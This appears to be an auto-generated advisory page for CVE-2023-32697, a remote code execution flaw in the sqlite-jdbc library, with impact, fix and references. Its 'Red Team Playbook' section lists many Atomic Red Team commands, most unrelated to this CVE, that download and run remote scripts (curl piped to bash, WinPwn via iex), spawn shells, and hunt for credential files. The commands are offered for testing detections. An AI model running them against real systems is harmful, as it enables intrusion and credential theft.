CVE-2023-32697
Overview
The vulnerability is a code injection flaw (CWE-94) in the xerial sqlite-jdbc library that arises from improper handling of JDBC URL input. The root cause is the unsafe evaluation of user-controlled input within the SQLite JDBC connection URL parser, which allows execution of arbitrary code. This affects the SQLite JDBC driver component responsible for establishing database connections in Java applications.
Vulnerability Description
SQLite JDBC is a library for accessing and creating SQLite database files in Java. Sqlite-jdbc addresses a remote code execution vulnerability via JDBC URL. This issue impacting versions 3.6.14.1 through 3.41.2.1 and has been fixed in version 3.41.2.2.
Impact
An attacker with the ability to influence the JDBC connection URL can execute arbitrary code remotely within the context of the Java process using the sqlite-jdbc library. This requires at least limited privileges to control the connection string (PR:L) but no user interaction (UI:N) and can be exploited over a network (AV:N). Successful exploitation can lead to full compromise of the host application, including data theft, system manipulation, or lateral movement within the network.
Solution
Upgrade the sqlite-jdbc library to version 3.41.2.2 or later, as this release contains the fix for the remote code execution vulnerability. Detailed patch information and release notes are available in the official GitHub security advisory (GHSA-6phf-6h5g-97j2) and the release tag at https://github.com/xerial/sqlite-jdbc/releases/tag/3.41.2.2. No additional workarounds are specified by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the SQLite JDBC library allows for remote code execution through the manipulation of JDBC URLs. This issue arises from improper handling of input, which can lead to the execution of arbitrary code within the context of the application utilizing the library. Specifically, the vulnerability affects versions ranging from 3.6.14.1 to 3.41.2.1, highlighting a significant flaw in how the library processes JDBC connection strings. Attackers can exploit this vulnerability by crafting malicious JDBC URLs that, when processed by an application using the affected library, execute unintended commands or scripts. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating critical risk.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting applications that dynamically construct JDBC URLs based on user input or external data sources. For instance, an attacker could manipulate a web application that accepts user-provided database connection parameters, injecting a malicious JDBC URL. Once the application processes this input, it could inadvertently execute the attacker's code, leading to unauthorized access, data manipulation, or even system compromise. Additionally, environments where the library is integrated into backend services or microservices are particularly vulnerable, as successful exploitation could allow attackers to pivot and escalate their privileges within the network.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely heavily on Java applications for database interactions. The potential for remote code execution means that attackers could gain complete control over affected systems, leading to data breaches, loss of sensitive information, and significant reputational damage. Moreover, the financial implications of such an incident could be substantial, encompassing costs related to incident response, legal liabilities, and regulatory fines. Businesses may also face operational disruptions as they scramble to patch affected systems and mitigate the fallout from a successful attack.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to the fixed version of the SQLite JDBC library, specifically version 3.41.2.2 or later. Regularly reviewing and updating dependencies is crucial in maintaining a secure software environment. Additionally, implementing input validation and sanitization measures can help prevent the injection of malicious JDBC URLs. Employing security tools such as web application firewalls (WAFs) can also provide an additional layer of protection by monitoring and filtering incoming requests for suspicious patterns. Continuous security training for developers and staff can further enhance awareness of such vulnerabilities and promote secure coding practices.
In conclusion, the vulnerability in the SQLite JDBC library represents a critical risk for applications relying on this technology. The potential for remote code execution through manipulated JDBC URLs necessitates immediate attention from organizations using affected versions. By understanding the technical details, recognizing exploitation scenarios, assessing the real-world impact, and implementing robust detection and mitigation strategies, businesses can significantly reduce their exposure to this threat and enhance their overall cybersecurity posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sqlite Jdbc Project | Sqlite Jdbc | All |
cpe:2.3:a:sqlite_jdbc_project:sqlite_jdbc:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
shoucheng3/xerial__sqlite-jdbc_CVE-2023-32697_3-41-2-1
|
shoucheng3 | 0 | 0 | 2025-08-17 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-32697 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/xerial/sqlite-jdbc/security/advisories/GHSA-6phf-6h5g-97j2 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/xerial/sqlite-jdbc/releases/tag/3.41.2.2 |